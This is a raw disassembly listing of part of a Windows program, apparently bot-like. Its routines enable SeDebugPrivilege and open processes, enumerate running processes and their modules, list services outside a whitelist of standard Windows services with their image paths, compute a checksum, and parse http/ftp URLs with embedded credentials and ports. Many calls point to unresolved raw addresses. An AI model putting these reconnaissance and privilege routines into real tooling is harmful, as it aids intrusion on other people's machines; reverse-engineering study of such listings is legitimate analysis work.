; =============== S U B R O U T I N E =======================================
sub_420300 proc near ; CODE XREF: sub_401E8Dj
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push ebx
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 29008E6h
mov ebx, eax
test ebx, ebx
jnz short loc_420325
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420325: ; CODE XREF: sub_420300+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017E4
push eax
push ebx
nop
call near ptr 28A0386h
mov esi, eax
test esi, esi
jnz short loc_420350
push ebx
nop
call near ptr 2910000h
pop esi
xor al, al
pop ebx
add esp, 1Ch
retn
; ---------------------------------------------------------------------------
loc_420350: ; CODE XREF: sub_420300+3Fj
push ebp
push edi
mov edi, dword_50F740
push esi
call edi ; dword_50F740
push esi
call edi ; dword_50F740
mov ebp, dword_50F73C
lea eax, [esp+2Ch+var_1C]
push eax
push 1
push esi
call ebp ; dword_50F73C
push esi
call edi ; dword_50F740
lea ecx, [esp+2Ch+var_1C]
push ecx
push 1
push esi
call ebp ; dword_50F73C
push esi
mov esi, dword_50F74C
call esi ; dword_50F74C
push ebx
call esi ; dword_50F74C
pop edi
pop ebp
pop esi
mov al, 1
pop ebx
add esp, 1Ch
retn
sub_420300 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4203D0 proc near ; CODE XREF: sub_4018A7j
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_14 = dword ptr -14h
var_10 = byte ptr -10h
arg_0 = dword ptr 4
sub esp, 28h
push ebx
push ebp
push esi
lea eax, [esp+34h+var_28]
push edi
xor esi, esi
push eax
push esi
push 28h
xor bl, bl
mov [esp+44h+var_24], 10h
nop
call near ptr 2780C0Bh
push eax
nop
call near ptr 28C17FAh
mov ebp, dword_50F718
mov edi, dword_50F8D8
test eax, eax
jnz short loc_420420
lea ecx, [esp+38h+var_28]
push ecx
push 28h
nop
call near ptr 2780C6Ch
push eax
call near ptr 28C1D9Bh
nop
test eax, eax
jz short loc_42047F
loc_420420: ; CODE XREF: sub_4203D0+36j
cmp [esp+38h+var_28], esi
jz short loc_420483
lea edx, [esp+38h+var_1C]
mov [esp+38h+var_20], 1
push edx
push offset aSedebugprivile ; "SeDebugPrivilege"
push esi
mov [esp+44h+var_14], 2
nop
call near ptr 28D0000h
lea eax, [esp+38h+var_24]
lea ecx, [esp+38h+var_10]
push eax
mov eax, [esp+3Ch+var_28]
push ecx
lea edx, [esp+40h+var_20]
push 10h
push edx
push esi
push eax
call ebp ; dword_50F718
test eax, eax
jz short loc_420478
nop
call near ptr 27C0847h
cmp eax, 514h
jnz short loc_420483
mov ecx, [esp+38h+var_28]
push ecx
jmp short loc_42047D
; ---------------------------------------------------------------------------
loc_420478: ; CODE XREF: sub_4203D0+92j
mov edx, [esp+38h+var_28]
push edx
loc_42047D: ; CODE XREF: sub_4203D0+A6j
call edi ; dword_50F8D8
loc_42047F: ; CODE XREF: sub_4203D0+4Ej
mov [esp+38h+var_28], esi
loc_420483: ; CODE XREF: sub_4203D0+54j
; sub_4203D0+9Fj
mov eax, [esp+38h+arg_0]
push eax
push esi
push 411h
nop
call near ptr 2790000h
mov esi, eax
test esi, esi
jz short loc_4204A8
push 0
push esi
nop
call near ptr 2710000h
push esi
mov bl, 1
call edi ; dword_50F8D8
loc_4204A8: ; CODE XREF: sub_4203D0+C8j
mov eax, [esp+38h+var_28]
test eax, eax
jz short loc_4204C7
push 0
push 0
lea ecx, [esp+40h+var_10]
push 10h
push ecx
push 0
push eax
call ebp ; dword_50F718
mov edx, [esp+38h+var_28]
push edx
call edi ; dword_50F8D8
loc_4204C7: ; CODE XREF: sub_4203D0+DEj
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
add esp, 28h
retn
sub_4203D0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420530 proc near ; CODE XREF: sub_4011D6j
var_68 = dword ptr -68h
var_54 = byte ptr -54h
var_4C = dword ptr -4Ch
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_28 = byte ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_F4 = byte ptr 0F8h
arg_100 = byte ptr 104h
arg_10C4 = dword ptr 10C8h
arg_10D0 = dword ptr 10D4h
arg_1104 = dword ptr 1108h
arg_1118 = dword ptr 111Ch
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420530
push eax
mov eax, 1130h
mov large fs:0, esp
call sub_436840
push esi
push offset aPsapi_dll ; "PSAPI.DLL"
call near ptr 2881E50h
nop
test eax, eax
mov dword_50BB70, eax
jnz short loc_42057C
push offset aPsapi_dll ; "PSAPI.DLL"
nop
call near ptr 27E0B2Ch
test eax, eax
mov dword_50BB70, eax
jz loc_4206FA
loc_42057C: ; CODE XREF: sub_420530+32j
mov esi, dword_50F8A0
push offset aEnumprocesses ; "EnumProcesses"
push eax
call esi ; dword_50F8A0
mov dword_50BB74, eax
mov eax, dword_50BB70
push offset aEnumprocessmod ; "EnumProcessModules"
push eax
call esi ; dword_50F8A0
mov ecx, dword_50BB70
push offset aGetmodulefilen ; "GetModuleFileNameExA"
push ecx
mov dword_50BB78, eax
call esi ; dword_50F8A0
mov ecx, dword_50BB74
mov dword_50BB7C, eax
test ecx, ecx
jz loc_4206FA
mov edx, dword_50BB78
test edx, edx
jz loc_4206FA
test eax, eax
jz loc_4206FA
lea edx, [esp+30h+var_28]
lea eax, [esp+30h+arg_100]
push edx
push 1000h
push eax
call ecx ; dword_50BB74
test eax, eax
jz loc_4206FA
mov ecx, dword ptr aUnknown ; "unknown"
mov eax, dword ptr aUnknown+4
mov edx, [esp+3Ch+var_34]
push edi
mov [esp+40h+var_C], ecx
mov [esp+40h+var_8], eax
mov ecx, 3Fh
mov eax, 0
lea edi, [esp+40h+var_4]
shr edx, 2
rep stosd
jz loc_4206E1
push ebx
mov ebx, [esp+44h+arg_1104]
push ebp
mov ebp, dword_50F874
lea edi, [esp+48h+arg_F4]
mov [esp+48h+var_38], edx
loc_42063F: ; CODE XREF: sub_420530+1A9j
mov ecx, [edi]
push ecx
push 0
push 410h
call ebp ; dword_50F874
mov esi, eax
test esi, esi
jz short loc_4206CD
lea edx, [esp+54h+var_38]
lea eax, [esp+54h+var_3C]
push edx
push 4
push eax
push esi
call dword_50BB78
test eax, eax
jz short loc_4206C6
mov edx, [esp+64h+var_4C]
lea ecx, [esp+64h+var_28]
push 104h
push ecx
push edx
push esi
call dword_50BB7C
lea ecx, [esp+74h+var_54]
call sub_401866
lea eax, [esp+74h+var_38]
lea ecx, [esp+74h+var_54]
push eax
mov [esp+78h+arg_10D0], 0
call sub_4015D7
mov ecx, [edi]
lea edx, [esp+74h+var_54]
mov [esp+35h], ecx
push edx
mov ecx, ebx
call sub_402167
; ---------------------------------------------------------------------------
lea ecx, [esp+74h+var_54]
mov [esp+74h+arg_10D0], 0FFFFFFFFh
call sub_401A6E
loc_4206C6: ; CODE XREF: sub_420530+136j
push esi
nop
call near ptr 28409D0h
loc_4206CD: ; CODE XREF: sub_420530+11Fj
mov eax, [esp+78h+var_68]
add edi, 4
dec eax
mov [esp+78h+var_68], eax
jnz loc_42063F
pop ebp
pop ebx
loc_4206E1: ; CODE XREF: sub_420530+EFj
pop edi
mov al, 1
pop esi
mov ecx, [esp+68h+arg_10C4]
mov large fs:0, ecx
add esp, 113Ch
retn
; ---------------------------------------------------------------------------
loc_4206FA: ; CODE XREF: sub_420530+46j
; sub_420530+8Cj ...
mov ecx, [esp+18h+arg_1118]
xor al, al
pop esi
mov large fs:0, ecx
add esp, 113Ch
retn
sub_420530 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 80h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207A0 proc near ; CODE XREF: sub_401866j
push esi
mov esi, ecx
call sub_401424
mov eax, esi
pop esi
retn
sub_4207A0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4207C0 proc near ; CODE XREF: sub_401A6Ej
jmp sub_401226
sub_4207C0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4207E0 proc near ; CODE XREF: sub_402144j
var_518 = byte ptr -518h
var_514 = dword ptr -514h
var_510 = dword ptr -510h
var_50C = dword ptr -50Ch
var_508 = dword ptr -508h
var_504 = dword ptr -504h
var_500 = dword ptr -500h
var_4FC = dword ptr -4FCh
var_4F8 = byte ptr -4F8h
var_4E4 = dword ptr -4E4h
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = dword ptr -4D4h
var_4D0 = dword ptr -4D0h
var_4CC = dword ptr -4CCh
var_4C8 = dword ptr -4C8h
var_4C4 = dword ptr -4C4h
var_4C0 = dword ptr -4C0h
var_4BC = dword ptr -4BCh
var_4B8 = dword ptr -4B8h
var_4B4 = dword ptr -4B4h
var_4B0 = dword ptr -4B0h
var_4AC = dword ptr -4ACh
var_4A8 = dword ptr -4A8h
var_4A4 = dword ptr -4A4h
var_4A0 = dword ptr -4A0h
var_49C = dword ptr -49Ch
var_498 = dword ptr -498h
var_494 = dword ptr -494h
var_490 = dword ptr -490h
var_48C = dword ptr -48Ch
var_488 = dword ptr -488h
var_484 = dword ptr -484h
var_480 = dword ptr -480h
var_47C = dword ptr -47Ch
var_478 = dword ptr -478h
var_474 = dword ptr -474h
var_470 = dword ptr -470h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = dword ptr -448h
var_444 = dword ptr -444h
var_440 = dword ptr -440h
var_43C = dword ptr -43Ch
var_438 = dword ptr -438h
var_430 = byte ptr -430h
var_41C = byte ptr -41Ch
var_408 = byte ptr -408h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_4 = dword ptr 8
push 0FFFFFFFFh
push offset SEH_4207E0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 50Ch
push ebx
push ebp
xor ebx, ebx
push 80000000h
push ebx
push ebx
nop
call near ptr 29008E6h
mov ebp, eax
cmp ebp, ebx
mov [esp+520h+var_500], ebp
jnz short loc_42082F
pop ebp
xor al, al
pop ebx
mov ecx, [esp+518h+var_C]
mov large fs:0, ecx
add esp, 518h
retn
; ---------------------------------------------------------------------------
loc_42082F: ; CODE XREF: sub_4207E0+34j
push esi
push edi
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
mov [esp+528h+var_4E0], offset aBrowser ; "Browser"
mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp"
mov [esp+528h+var_4D4], offset aDmserver ; "dmserver"
mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache"
mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc"
mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog"
mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem"
mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
mov [esp+528h+var_4AC], offset off_44433C
mov [esp+528h+var_4A8], offset aMessenger ; "Messenger"
mov [esp+528h+var_4A4], offset aNetman ; "Netman"
mov [esp+528h+var_4A0], offset aNla ; "Nla"
mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent"
mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
mov [esp+528h+var_490], offset aRasman ; "RasMan"
mov [esp+528h+var_48C], offset aRpcss ; "RpcSs"
mov [esp+528h+var_488], offset aSamss ; "SamSs"
mov [esp+528h+var_484], offset aSchedule ; "Schedule"
mov [esp+528h+var_480], offset aSeclogon ; "seclogon"
mov [esp+528h+var_47C], offset aSens ; "SENS"
mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
mov [esp+528h+var_474], offset aSpooler ; "Spooler"
mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
mov [esp+528h+var_46C], offset aStisvc ; "stisvc"
mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv"
mov [esp+528h+var_464], offset aTermservice ; "TermService"
mov [esp+528h+var_460], offset aTrkwks ; "TrkWks"
mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr"
mov [esp+528h+var_458], offset aUpnphost ; "upnphost"
mov [esp+528h+var_454], offset aW32time ; "W32Time"
mov [esp+528h+var_450], offset aWebclient ; "WebClient"
mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
mov [esp+528h+var_444], offset aWuauserv ; "wuauserv"
mov [esp+528h+var_440], offset aSrservice ; "srservice"
mov [esp+528h+var_43C], offset aThemes ; "Themes"
mov [esp+528h+var_438], ebx
mov [esp+528h+var_510], ebx
call sub_401424
lea eax, [esp+528h+var_510]
lea ecx, [esp+528h+var_514]
mov esi, dword_50F710
push eax
lea edx, [esp+52Ch+var_518]
push ecx
push edx
lea eax, [esp+534h+var_41C]
push ebx
push eax
push 1
push 30h
push ebp
mov [esp+548h+var_4], ebx
mov [esp+548h+var_50C], ebx
mov [esp+548h+var_504], 80h
call esi ; dword_50F710
mov ecx, [esp+524h+var_514]
push ecx
call near ptr 77C2C407h
nop
add esp, 4
mov edi, eax
lea edx, [esp+524h+var_50C]
lea eax, [esp+524h+var_510]
push edx
mov edx, [esp+528h+var_514]
lea ecx, [esp+528h+var_514]
push eax
push ecx
push edx
push edi
push 1
push 30h
push ebp
call esi ; dword_50F710
mov eax, [esp+524h+var_510]
mov [esp+524h+var_504], ebx
cmp eax, ebx
jbe loc_420B8F
mov ebp, dword_50F75C
loc_420A6B: ; CODE XREF: sub_4207E0+3A5j
mov eax, offset aAudiosrv ; "AudioSrv"
test eax, eax
jz short loc_420A97
lea esi, [esp+524h+var_4E0]
loc_420A78: ; CODE XREF: sub_4207E0+2B5j
mov ecx, [edi]
push ecx
push eax
call near ptr 77C4624Eh
nop
add esp, 8
test eax, eax
jz loc_420B73
mov eax, [esi+4]
add esi, 4
cmp eax, ebx
jnz short loc_420A78
loc_420A97: ; CODE XREF: sub_4207E0+292j
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
push eax
call sub_40102D
add esp, 0Ch
lea ecx, [esp+524h+var_508]
push ecx
push 20019h
push ebx
lea ecx, [esp+530h+var_4F8]
call sub_401681
push eax
push 80000002h
call ebp ; dword_50F75C
cmp eax, ebx
jz short loc_420AE3
mov edx, [edi]
lea eax, [esp+524h+var_4F8]
push edx
push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
push eax
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420AE3: ; CODE XREF: sub_4207E0+2EAj
mov eax, [esp+524h+var_508]
lea ecx, [esp+524h+var_500]
lea edx, [esp+524h+var_408]
push ecx
push edx
push ebx
push ebx
push offset aImagepath ; "ImagePath"
push eax
call near ptr 28E0000h
nop
cmp eax, ebx
jz short loc_420B1D
mov ecx, [edi]
lea edx, [esp+524h+var_4F8]
push ecx
push offset aS????_exe ; "[%s] [????.exe]"
push edx
call sub_40102D
add esp, 0Ch
jmp short loc_420B3A
; ---------------------------------------------------------------------------
loc_420B1D: ; CODE XREF: sub_4207E0+324j
mov ecx, [edi]
lea eax, [esp+524h+var_408]
push eax
push ecx
lea edx, [esp+52Ch+var_4F8]
push offset aSS ; "[%s] [%s]"
push edx
call sub_40102D
add esp, 10h
loc_420B3A: ; CODE XREF: sub_4207E0+301j
; sub_4207E0+33Bj
lea eax, [esp+524h+var_4F8]
lea ecx, [esp+524h+var_430]
push eax
call sub_4014C9
mov ecx, [esp+524h+arg_4]
push eax
mov byte ptr [esp+528h], 1
call sub_401325
; ---------------------------------------------------------------------------
lea ecx, [esp+524h+var_430]
mov [esp+524h], bl
call sub_401226
loc_420B73: ; CODE XREF: sub_4207E0+2A7j
mov eax, [esp+524h+var_504]
mov ecx, [esp+524h+var_510]
inc eax
add edi, 24h
cmp eax, ecx
mov [esp+524h+var_504], eax
jb loc_420A6B
mov ebp, [esp+524h+var_4FC]
loc_420B8F: ; CODE XREF: sub_4207E0+27Fj
push ebp
nop
call near ptr 2910000h
lea ecx, [esp+528h+var_4FC]
mov [esp+528h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+528h+var_C]
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
mov large fs:0, ecx
add esp, 518h
retn
sub_4207E0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420CD0 proc near ; CODE XREF: sub_4015EBj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
push esi
mov esi, [esp+4+arg_0]
push eax
push esi
push 0
call near ptr 2881E50h
nop
push eax
nop
call near ptr 28812E4h
mov eax, esi
pop esi
retn
sub_420CD0 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420D00 proc near ; CODE XREF: sub_401A28j
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_4]
push ebx
mov [ebp+var_4], 0
mov [ebp+arg_4], eax
femms
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
mov ebx, [ebp+var_4]
cmp ecx, 2
js short loc_420D39
loc_420D22: ; CODE XREF: sub_420D00+32j
xor eax, eax
mov ax, [edx]
add ebx, eax
sub ecx, 2
add edx, 2
cmp ecx, 1
jg short loc_420D22
cmp ecx, 0
jz short loc_420D4A
loc_420D39: ; CODE XREF: sub_420D00+20j
; sub_420D00+48j
xor eax, eax
mov al, [edx]
add ebx, eax
sub ecx, 1
add edx, 1
cmp ecx, 0
jg short loc_420D39
loc_420D4A: ; CODE XREF: sub_420D00+37j
mov [ebp+var_4], ebx
mov eax, [ebp+var_4]
shr eax, 10h
mov ebx, [ebp+var_4]
and ebx, 0FFFFh
add eax, ebx
mov ebx, eax
shr ebx, 10h
add eax, ebx
mov [ebp+var_4], eax
femms
mov eax, [ebp+var_4]
pop ebx
not eax
mov esp, ebp
pop ebp
retn
sub_420D00 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DA0: ; CODE XREF: ___:00401019j
mov eax, [esp+4]
mov dword_50BB64, eax
mov eax, offset dword_50BB64
retn
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_420DC0: ; CODE XREF: ___:00401771j
push ebx
push ebp
push esi
mov esi, [esp+10h]
push edi
mov edi, dword_50FAA0
push esi
call edi ; dword_50FAA0
mov ebp, dword_50FA98
push 2
push 0
push esi
mov ebx, eax
call ebp ; dword_50FA98
push esi
call edi ; dword_50FAA0
push 0
push ebx
push esi
mov edi, eax
call ebp ; dword_50FA98
add esp, 20h
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
retn
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_420E10 proc near ; CODE XREF: sub_401938j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_420E10
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push esi
mov esi, [esp+8Ch+arg_0]
xor ebx, ebx
cmp esi, ebx
push edi
jnz short loc_420E3F
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420E3F: ; CODE XREF: sub_420E10+26j
lea ecx, [esp+90h+var_84]
call sub_401424
push esi
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], ebx
call sub_4015D7
push offset asc_443C94 ; ":"
lea eax, [esp+94h+var_54]
push ebx
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
mov esi, [esp+90h+arg_4]
push eax
mov ecx, esi
mov byte ptr [esp+94h+var_4], 1
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jz short loc_420ECF
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420ECF: ; CODE XREF: sub_420E10+92j
; sub_420E10+A2j
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_54]
push 1
push ecx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push 40h
mov ecx, eax
mov byte ptr [esp+94h+var_4], 2
call sub_401D20
lea ecx, [esp+90h+var_54]
mov edi, eax
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp edi, ebx
push offset asc_444410 ; "/"
push 1
jz loc_42120C
lea edx, [esp+98h+var_24]
lea ecx, [esp+98h+var_84]
push edx
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 3
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_54]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 4
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 5
call sub_401FBE
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], 4
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 3
call sub_401226
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_420FC9
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_420FC9: ; CODE XREF: sub_420E10+19Cj
push offset asc_444410 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 6
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 7
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 8
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 7
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 6
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421095
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42107E
mov dword ptr [esi+54h], 50h
loc_42107E: ; CODE XREF: sub_420E10+265j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421095
mov dword ptr [esi+54h], 15h
loc_421095: ; CODE XREF: sub_420E10+255j
; sub_420E10+27Cj
push offset asc_444410 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 9
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_24]
push ebx
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ah
call sub_4016AE
lea edi, [esi+2Ah]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Ah
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 9
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_42114E
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42114E: ; CODE XREF: sub_420E10+321j
push offset asc_444410 ; "/"
lea eax, [esp+94h+var_54]
push 1
push eax
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset dword_4437F8
lea ecx, [esp+94h+var_3C]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Ch
call sub_4016AE
push offset asc_443C94 ; ":"
lea edx, [esp+94h+var_24]
push 1
push edx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Dh
call sub_4016AE
lea edi, [esi+3Fh]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 0Eh
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Dh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], 0Ch
call sub_401226
lea ecx, [esp+90h+var_54]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz loc_421333
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_42120C: ; CODE XREF: sub_420E10+100j
lea eax, [esp+98h+var_3C]
lea ecx, [esp+98h+var_84]
push eax
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+94h+var_24]
push ebx
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 0Fh
call sub_4016AE
lea edi, [esi+15h]
push eax
mov ecx, edi
mov byte ptr [esp+94h+var_4], 10h
call sub_401FBE
lea ecx, [esp+90h+var_24]
mov byte ptr [esp+90h+var_4], 0Fh
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
push offset byte_446F70
mov ecx, edi
call sub_4012EE
test eax, eax
jnz short loc_421293
lea ecx, [esp+90h+var_84]
mov [esp+90h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp loc_421419
; ---------------------------------------------------------------------------
loc_421293: ; CODE XREF: sub_420E10+466j
push offset asc_444410 ; "/"
lea edx, [esp+94h+var_3C]
push 1
push edx
lea ecx, [esp+9Ch+var_84]
call sub_4016AE
push offset asc_443C94 ; ":"
lea ecx, [esp+94h+var_24]
push 1
push ecx
mov ecx, eax
mov byte ptr [esp+9Ch+var_4], 11h
call sub_4016AE
mov ecx, eax
mov byte ptr [esp+90h+var_4], 12h
call sub_4017E4
push eax
call near ptr 77C1BF18h
nop
add esp, 4
lea ecx, [esp+90h+var_24]
mov [esi+54h], eax
mov byte ptr [esp+90h+var_4], 11h
call sub_401226
lea ecx, [esp+90h+var_3C]
mov byte ptr [esp+90h+var_4], bl
call sub_401226
cmp [esi+54h], ebx
jnz short loc_421333
push offset aHttp ; "http"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_42131C
mov dword ptr [esi+54h], 50h
loc_42131C: ; CODE XREF: sub_420E10+503j
push offset aFtp ; "ftp"
mov ecx, esi
call sub_4012EE
test eax, eax
jnz short loc_421333
mov dword ptr [esi+54h], 15h
loc_421333: ; CODE XREF: sub_420E10+3DBj
; sub_420E10+4F3j ...
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_84]
call sub_4013E3
lea edx, [esp+90h+var_6C]
push eax
push edx
lea ecx, [esp+98h+var_84]
call sub_401E2E
push offset asc_444410 ; "/"
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 13h
call sub_4013E3
push eax
lea eax, [esp+94h+var_24]
push eax
lea ecx, [esp+98h+var_6C]
call sub_401E2E
push eax
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 14h
call sub_40200E
lea ecx, [esp+90h+var_24]
